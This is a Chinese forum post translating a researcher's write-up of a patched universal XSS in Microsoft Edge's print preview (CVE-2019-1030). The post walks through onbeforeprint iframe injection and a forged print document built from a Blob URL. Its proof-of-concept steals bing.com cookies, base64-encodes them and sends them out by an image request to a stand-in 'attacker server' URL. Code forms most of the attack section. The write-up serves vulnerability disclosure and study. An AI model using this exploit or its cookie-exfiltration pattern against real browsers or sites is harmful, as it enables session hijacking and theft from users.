用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    101

    主题

    101

    帖子

    1175

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-9-9 18:48:43 0430

    22.jpg

    在各类XSS漏洞中,uXSS可以说是一种非常特殊的类别,它和浏览器或浏览器的插件有关,和具体网站无关。这就像你在所有的网站上都有一个非常有趣的XSS(某个浏览器下)。

    在这篇文章中我将讲述在Edge浏览器中发现的这个uXSS。通常来说,uXSS与iframe元素或者URL有关,我从没想过我会通过print()函数找到一个uXSS。

    打印预览

    先让我们讨论一下当Edge浏览器显示打印预览窗口时发生的事情。

    我一直以为这只是一个屏幕截图再复制到画布上的技术,但实际上,你正在打印的网页会复制到一个临时位置,并重新渲染!

    当我们在网页中执行print()函数时,我们可以在Process Monitor中看到如下画面:

    33.png

    是的,Edge正在临时目录中创建一个文件,文件内容是我们试图打印页面的小改版本。让我们来对比一下。

    原始页面:

    <!doctype html>
    <html>
    <head>
        <title>Printer Button</title>
    </head>
    <body>
    <button id="qbutt">Print!</button>
    <iframe src="https://www.bing.com/?q=example"></iframe>
    <script>
    qbutt.onclick=e=>{
        window.print();
    }
    </script>
    </body>
    </html>
    

    临时页面:

    <!DOCTYPE HTML>
    <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><meta 
    content="text/html; charset=utf-8" http-equiv=Content-Type>
    <base HREF="http://q.leucosite.com:777/printExample.html">
    <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
    Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <iframe src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></iframe> 
    <script>
    qbutt.on click=e=>{
        window.print();
    }
    </script>
    </BODY></HTML>
    

    从以上两个页面中我们可以发现一些不同。

    1. Js语句会被实体编码,无法渲染。

    2. IFRAME会指向一个本地文件,该文件包含原始引用页面bing.com的源代码。

    3. HTML元素现在有一个特殊的属性__IE_DisplayURL

    我做了一些关于第1点和第2点的测试,试图找出在编码之后仍然能生效的js语句。但事实证明,来自<script>元素中的任何语句,不管有效无效,都不会执行。

    而关于第2点,我能使用CSS的home.php?mod=space&uid=218840 print{}函数加上CSS选择器借助iframe的ref值提取出系统用户名。然而,这还不够好。

    而这第3点正是本文最有趣的地方,这个属性一看就非常不寻常,我以前从未看过。所以我立刻查找了相关的文章,貌似Masato Kinugawa在这方面有些研究。

    在学习了一段时间后,我发现打印预览内容和这个属性紧密相关,它指明了打印文档的来源(来自哪个网站)。这正好符合Edge使用file:来打开文件这一行为。你会注意到此文档(在打印预览中)的所有请求行为与原始网站完全相同。

    那么,我们怎么利用这个属性呢?

    在打印预览中执行javascript

    就像我之前说过的,任何来自script标签的js语句都会被忽略。但如果是来自其他标记呢?我尝试了所有我能想到的语句,并最终有所发现。

    由于我们一直在讨论打印功能,所以很自然想到了和打印相关的事件,最后找到了onbeforeprint。利用它,我可以注入一个指向任何网站的iframe,而且Edge不会将其转换为文件。在我注入一个包含javascript:iframe后,发现js语句成功执行。

    测试语句:

    <!doctype html>
    <html>
    <head>
        <title>Printer Button</title>
    </head>
    <body>
    <button id="qbutt">Print!</button>
    <div id="qcontent"></div>
    <script>
    qbutt.onclick=e=>{
        window.print();
    }
    
    window.onbeforeprint=function(e){
        qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
    
        }
    </script>
    </body>
    </html>
    

    打印预览转换后:

    <!DOCTYPE HTML>
    <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><meta 
    content="text/html; charset=windows-1252" http-equiv=Content-Type>
    <base HREF="http://q.leucosite.com/dl.html">
    <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer 
    Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <div 
    id="qcontent"><iframe src="ja vasc ript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe></div>
    <script>
    qbutt.onclick=e=>{
        window.print();
    }
    
    window.onbeforeprint=function(e){
        qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
    
        }
    </script>
    </BODY></HTML>
    

    结果:

    44.png

    但是,成功执行js语句并不意味着我们完成了所有任务。如前所述,由于__IE_DisplayURL属性的存在,任何请求或API都会被视为来自于原始文档(无法攻击外部网站)。

    真正的uXSS

    在能执行js语句后,我们需要以某种方式用自定义的__IE_DisplayURL来构建我们自己的“打印预览文档”,这样我们就能对任意网站发动uXSS攻击。

    很快我发现Blob URL可以做到这一点!为此,我制作了特殊的打印文档,其中的自定义属性指向我的目标网站(本例中为“bing.com”),并且它还包含一个javascript iframe,就像在“bing.com”网站中执行一样。

    插入的Js语句如下:

    if (top.location.protocol == 'file:') {
        setTimeout(function() {
            top.location = URL.createobjectURL(new Blob([top.document.getElementById('qd').value], {
                type: 'text/html'
            }))
        }, 1000)
    }
    

    其中top.document.getElementById('qd').value就是指如下虚假打印文档:

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
    __IE_DisplayURL="https://www.bing.com/"><HEAD><meta content="text/html; 
    charset=windows-1252" http-equiv=Content-Type>
    <base HREF="https://www.bing.com/">
    <STYLE> HTML { font-family : "Times New Roman" } </STYLE>
    <STYLE>iframe {
        width: 300px; height: 300px;
    }
    </STYLE>
    </HEAD><BODY>
    
    <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
    </BODY></HTML>
    

    现在,我可以看到网站cookie,并且已发送到某个服务器上。

    现在让我来总结一下整体利用流程:

    1. 利用onbeforeprint,我插入一个iframe,它能打印之前触发我的js语句。

    2. 调用window.print()进行初始化。

    3. Edge出现打印预览窗口,内容为我插入的js语句,并进行渲染。

    4. 这些js语句会创建了一个Blob URL,其中有我自定义的来自“bing.com”打印文档,并将顶部帧重定向到这个URL。

    5. 打印预览内容会误认为我的Blob URL的内容是一个合法的打印文档,并通过__IE_DisplayURL属性将文档来源设置为bing.com

    6. 这个虚假的打印文档现在包含另一个javascript iframe,它会显示bing.com网站的cookie。

    7. uXSS成功实现!

    PoC and Video

    最后的PoC代码如下:

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <head>
    <style>iframe{width:300px;height:300px;}</style>
    
    </head>
    <body>
    <!-- -----------------------------HTML for our blob------------------------------------ -->
    <textarea id="qd">
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML 
    __IE_DisplayURL="https://www.bing.com/"><HEAD><me ta content="text/html; 
    charset=windows-1252" http-equiv=Content-Type>
    <base HREF="https://www.bing.com/">
    <STYLE> HTML { font-family : "Times New Roman" } </STYLE>
    <STYLE>iframe {
        width: 300px; height: 300px;
    }
    </STYLE>
    </HEAD><BODY>
    
    <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
    </BODY></HTML>
    </textarea>
    <!-- ---------------------------------------------------------------------------- -->
    <script>
    
    var qdiv=document.createElement('div');
    document.body.appendChild(qdiv);
    window.on beforeprint=function(e){
        qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createobjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
    
        }
    
    window.print();
    </script>
    
    <style>
    
    </style>
    
    </body>
    
    </html>
    

    演示视频地址如下:

    https://i.imgur.com/TYAQHp3.mp4
    

    aa.png

    参考链接:

    https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030
    

    感谢你的阅读!

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2941.html
    来源:https://leucosite.com/Microsoft-Edge-uXSS/?q=
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册